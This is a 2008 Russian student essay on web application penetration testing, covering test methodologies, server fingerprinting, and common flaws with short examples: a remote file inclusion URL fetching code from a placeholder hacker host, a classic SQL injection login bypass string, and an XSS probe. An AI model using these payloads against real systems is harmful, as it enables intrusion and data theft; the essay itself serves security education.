litceyvib.ru 1
Эссе по курсу "Защита информации", кафедра радиотехники, Московский физико-технический институт (ГУ МФТИ)



Web applications penetration testing

(Проверка веб-приложений на уязвимость).


Леонов Александр,

03.04.2008.


г. Долгопрудный

Общие положения.


«Проверка на уязвимость» (penetration test) - метод оценки безопасности компьютерной системы или сети при помощи имитации атак недоброжелателя (взломщика). Процесс включает в себя активный анализ системы, целью которого является выявление потенциальных уязвимостей, которые могут привести к неверной работе системы; известных и/или неизвестных изъянов системного или программного оборудования; недостатков в работе системы и средств защиты.

Проверку на уязвимость рекомендуется проводить на любой вычислительной системе, прежде чем она будет запущена в агрессивной среде, в частности, Интернете.

Следует помнить, что далеко не любая система может проходить проверку на уязвимость и всегда остается риск, что система будет повреждена при прохождении проверки, который в свою очередь может быть снижен за счет привлечения более квалифицированных специалистов.


Black box vs. White box.


По отношении к объему начальной информации существуют разные подходы к проведению тестов на уязвимость. На одном конце спектра: «слепой» анализ (т.н. “black box”), на другом – анализ при наличии полной информации о структуре системы, нередко включая сетевые диаграммы и исходный код (“white box”).

Black box хорошо имитирует взлом со стороны незнакомого с системой пользователя в то время, как white box – утечку информации о системе. Соответственно существует множество вариаций вышеупомянутых подходов, именуемых “gray boxes”.


Основные методики анализа.

  1. OSSTMM (The Open Source Security Testing Methodology Manual) – методика анализа вычислительных систем на широком спектре уровней, однако требующая соблюдать четкие правила проведения тестов как от аналитика, так и от разработчика. Методика широко распространена и активно поддерживается.


  2. NIST (National Institute of Standards and Technology) более узко направлена по сравнению с OSSTMM и более вероятно подойдет регулирующим агентствам.

  3. ISSAF (The Information Systems Security Assessment Framework) - новая активно развивающаяся платформа для тестирования на уязвимость, в основном нацелена на сбор требований к системе безопасности организации.


Этапы анализа.


  1. Прослушивание портов

  2. Сбор информации о системе.

  3. Проверка системы.

  4. Составление отчета.


О доверии.


Тестирование на уязвимость может выявить очень важную и даже секретную информацию об организации, поэтому остро стоит вопрос о доверии фирме, проводящей анализ системы. Существует ряд профессиональных и государственных организаций, удостоверяющих (путем выдачи соответствующего сертификата) в том, что данная фирма является надежной для хранения важной информации.


Сбор информации о Web-приложении.


Информация, которую можно получить из HEAD
и OPTIONS http запросов.


Заголовок и любая страница, возращаемая HEAD или OPTIONS http запросами, обычно содержит SERVER – строку или подобное описание версии программного обеспечения Web сервера и возможно окружающей среды приложения или используемой операционной системы.


Пример (взят с http://www.securityfocus.com/infocus/1704):


OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:02:45 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL:
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH

Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK

Cache-Control: private


Информация, которую можно получить из формата и текстов error pages.


Некоторые окружающие среды приложений настроены по-особому и потому легко узнаваемы по страницам ошибок. Это часто дает информацию о версиях программного обеспечения средств разработки. Аналитику следует осознанно запрашивать неверные страницы и применять альтернативные методы запросов (e.g. POST, PUT…) для того, чтобы получить эту информацию.


Пример (взят с http://www.securityfocus.com/infocus/1704):

ColdFusion 404 error page




Также возможна манипуляция с входными данными с целью спровоцировать системные ошибки, детали которых отражены на страницих ошибок.


Распознавание файловых типов/расширений/директорий.


Много веб-сервисов (таких как Microsoft IIS) реагируют по-разному на запросы с известными и неизвестными файловыми расширениями. Аналитику следует проверить запросы с часто применяемыми расширениями, такие как .asp, .htm, .php, .exe и отметить необычный результат или возникающие ошибки.


Анализ кода доступных страниц.


Из кода страниц чаще всего можно выявить информацию об окружающей среде приложения.


Использование специальных средств сбора данных о системе.

Используя специальные средства сбора данных о системе (fingerprinting), аналитик может собрать более точные данные, чем используя другую методику. Большинство таких утилит (например, NMAP или Queso) исследуют природу имплементацию TCP/IP хоста для того, чтобы определить операционную систему, и возможно версию ядра и патча. Для идентификации программного обеспечиния веб-приложений обычно исследуются HTTP заголовки.



Основные изъяны Web-приложений.


Remote code execution.


Как следует из названия, данный вид изъяна позволяет взломщику запустить код системного уровня на уязвимом сервере и получить/изменить необходимую информацию. Причиной чаще всего является малограмотное программирование.


Порой этот изъян бывает трудно выявить во время тестирования, но такие проблемы чаще всего разрешаются просмотром кода.


Пример:

Использование register_globals в PHP: Настройка использования глобальных переменных в php-скрипте (таких как данные отправленные в пользовательской форме или cookie). В ранних версиях PHP эта настройка была включена по умолчанию, что облегчало жизнь разработчикам, но вело к снижению уровня безопасности и активно использовалось при взломе. Так как она позволяет пользователю инициализировать неинициализированные переменные удаленно, часто неинициализированный параметр использовался для присоединения нежелательных файлов, что вело к исполнению враждебного кода:


http://www.somesite.com/index.php?page=http://www.hacker.com/attack.txt


Список некоторых уязвимых ранее продуктов (здесь и далее: по данным 2007-го года):

Phpbb, Invision Board, Cpane, Paypal cart, Drupal, Wordpress, Xoops, PostNuke, phpMyFaq


SQL injection.


Уязвимость данного типа возникает главным образом из-за недостаточной обработки поступающей от пользователя информации, а точнее – продвижения служебных символов, которые оказываются потенциально опасными для работы системы.


Примеры:


1. Классический пример нелегальной аутентификации:


Login: user

Password: password’ OR ‘1’ = ‘1


Если sql-запрос формируется путем простой подстановкой пользовательских данных возникает запрос типа:

SELECT * FROM users where user = ‘user’ AND password = ‘password’ OR ‘1’ = ‘1’ -


что гарантирует вход пользователя в систему.


2. Использование злоумышленником системных процедур или функций, таких как extended stored procedures в MS SQL, которые вызываются во время работы приложения.


3. Несмотря на то, что в php реализована возможность фильтровать специальные символы, все еще возможно добавлять в запросы случайные условия, использовать подзапросы и объединения.


Список некоторых уязвимых ранее продуктов:

PHPNuke, MyBB, Mambo CMS, ZenCart, osCommerce


Cross Site Scripting.


Основное отличие атак такого типа от вышеупомянутых в том, что они поражают клиентскую часть приложения (т.е. пользовательский браузер). Cross Site Scripting (XSS) имеет место когда разработчик позволяет пользователю подбором входных данных манипулировать выходными HTML-данными приложения. Это может возникать в случае, когда пользовательский ввод возвращается обратно пользователю без преобразования HTML-содержания.


Пример (взят с http://www.securityfocus.com/infocus/1709):

http://server.example.com/browse.cfm?categoryID=1&name=Books


Если пользователь введет следующий запрос:


http://server.example.com/browse.cfm?categoryID=1&name= -


и символы < > не будут отфильтрованы веб-приложением, на странице появится пользовательское всплывающее окно. Затем этот запрос можно представить в 16-ой системе и отправить предполагаемой «жертве» с предложением загрузить эту страницу.


Список некоторых уязвимых ранее продуктов:

Microsoft IIS web server, Yahoo Mail, Squirrel Mail, Google search.


Cookies and Session-IDs.

Cookies – механизм поддержания непрерывного обмена данными между клиентом и веб-сервером. Не вдаваясь в излишние подробности, можно сказать что cookies передают данные используя HTTP заголовки как для ввода, так и для получения информации.


За хранение и получение передаваемых cookie данных несет ответственность браузер. В Netscape и IE используются небольшие временные файлы. Так как cookies часто используются для аутентификации пользователей, захват cookie позволяет злоумышленнику проникнуть в систему под видом легального пользователя. Также cookies активно используются в совокупности с cross site scripting и sql injection.


Большинство современных технологий веб-программирования включают в себя механизмы поддержания сессий, сводящихся к тому, что веб-сервер предоставляет клиенту псевдослучайную строку, известную как Session ID. Механизм передачи осуществляется чаще всего с использованием метода GET или cookies, что открывает широкие возможности для перехвата Session ID исполнения нежелательных скриптов. В сложившейся ситуации задача разработчика – тщательно продумать алгоритм работы с сессиями, задача аналитика безопасности приложения – изучить и проверить этот алгоритм.


Логические ошибки.


Следует помнить, что так или иначе все изъяны любых приложений на совести разработчика и существует вероятность, что даже малейшая ошибка в логике работы приложения проделает огромную брешь в защите системы.


Некоторые наиболее популярные программные средства для проведения Web application penetration tests.


(Составлено по результатам опроса, проведенного Insecure.Org в 2006-м году.)


Nikto – open sourсe кросс-платформенный web scanner, который проводит разносторонние тесты веб-серверов. Среди достоинств возможность анализа исходного кода, среди недостатков – отсутствие GUI, крайне редкие обновления и, как следствие последнего, не обнаруживает новые типы уязвимости.

Paros ProxyJava based веб прокси для оценки уязвимости системы. Поддерживает просмотр/редактирование HTTP/HTTPS сообщений «на лету» для изменения таких объектов как cookies и поля форм. Имеет модуль проведения тестовых веб-атак, таких как SQL injection и cross-site scripting. Freeware.



WebScarabплатформа для анализа приложений с использованием протоколов HTTP и HTTPS. Работает на большинстве ОС. Служит главным образом для составления логов и debug’a. Freeware.


WebInspect – коммерческий сканер уязвимости веб-приложений под Windows. Помогает обнаружить известные и неизвестные уязвимости на уровне веб-приложения. Также помогает проверить, что веб-сервер правильно установлен и может пробовать провести такие атаки как parameter injection, cross-site scripting, directory traversal и другие.


Watchfire AppScan - коммерческий сканер уязвимости веб-приложений под Windows. Предоставляет возможность проверки на уязвимость на протяжении всего цикла разработки приложения, облегчает тестирование модулей и гарантирует безопасность на стадии разработки. AppScan обнаруживает уязвимости перед атаками широкого спектра типов, таких как cross site scripting, HTTP response splitting, parameter tampering, hidden field manipulation, backdoors/debug options, buffer overflows и другие.


References:


  1. Penetration test”, the wikipedia article: http://en.wikipedia.org/wiki/Penetration_test

  2. Five common Web application vulnerabilities”, the internet article by Sumit Sissharth, Praktiksha Doshi (2006-04-28): http://www.securityfocus.com/infocus/1864

  3. Penetration Testing for Web Applications”, the internet article in three parts by Jody Melbourne and David Jorm (2003):

http://www.securityfocus.com/infocus/1704,

http://www.securityfocus.com/infocus/1709,

http://www.securityfocus.com/infocus/1722.

  1. Top 10 Web Vulnerability Scanners”, the internet article by Gordon Lyon:

http://sectools.org/web-scanners.html